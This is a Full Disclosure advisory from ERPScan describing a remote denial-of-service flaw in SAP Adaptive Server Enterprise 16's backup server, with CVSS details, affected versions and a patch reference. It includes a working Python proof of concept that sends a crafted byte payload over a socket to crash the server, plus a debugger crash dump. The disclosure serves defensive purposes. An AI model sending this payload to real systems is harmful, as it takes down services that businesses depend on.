[FD] [ERPSCAN-16-028] SAP Adaptive Server Enterprise - DoS vulnerability

Application: SAP Adaptive Server Enterprise Versions Affected: SAP Adaptive Server Enterprise 16 Vendor URL: http://SAP.com Bugs: Denial of Service Sent: 01.02.2016 Reported: 02.02.2016 Vendor response: 02.02.2016 Date of Public Advisory: 12.07.2016 Reference: SAP Security Note 2330839 Author: Vahagn Vardanyan(ERPScan) Description 1. ADVISORY INFORMATION Title: [ERPSCAN-16-028] SAP Adaptive Server Enterprise – DoS vulnerability Advisory ID: [ERPSCAN-16-028] Risk: high Advisory URL: http://ift.tt/2eSBPmY Date published: 12.17.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Denial of Service Impact: DoS Remotely Exploitable: yes Locally Exploitable: yes CVSS Information CVSS Base Score v3: 7.5 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) Low (L) PR : Privileges Required (Level of privileges needed to exploit) None (N) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality None (N) I : Impact to Integrity None (N) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION Anonymous attacker can send a special request to the SAP Adaptive Server Enterprise and crash the server. 4. VULNERABLE PACKAGES SAP Open Server 16.0 SP01, SP02 SAP ASE 16.0 SP01, SP02 SAP Replication Server SP207, SP209, SP210, SP3XX 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2330839 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION Proof of Concept Sending special request to the SAP Adaptive Server Enterprise 16 (backup server) can get crash the server. PoC import socket PoC = "\xe2\xf3\x00\x9d\x80\x8e\xf3\xa0" \ "\x80\xb4\x00\x81\xb0\x00\x00\x93" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x31\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x34\x31\x30\x35\x37\x32" \ "\x37\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00" s = socket.socket() s.settimeout(1) s.connect((SERVER_IP, SERVER_PORT)) s.send(PoC) print(PoC) s.close() ``` 0:019> r rax=0000000000000000 rbx=000000000097c000 rcx=0000000000000000 rdx=00000000010bf810 rsi=0000000000970a30 rdi=0000000000904cb0 rip=00000000004027b4 rsp=00000000010bf7f0 rbp=0000000000000000 r8=0000000000904c90 r9=0000000000904ca0 r10=0000000000000000 r11=0000000000000246 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 libsybcomn64!comn_symkey_set_iv+0x34: 00000000`004027b4 488b4820 mov rcx,qword ptr [rax+20h] ds:00000000`00000020=???????????????? ``` 8. REPORT TIMELINE Sent: 01.02.2016 Reported: 02.02.2016 Vendor response: 02.02.2016 Date of Public Advisory: 12.07.2016 9. REFERENCES http://ift.tt/2eSBPmY 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security

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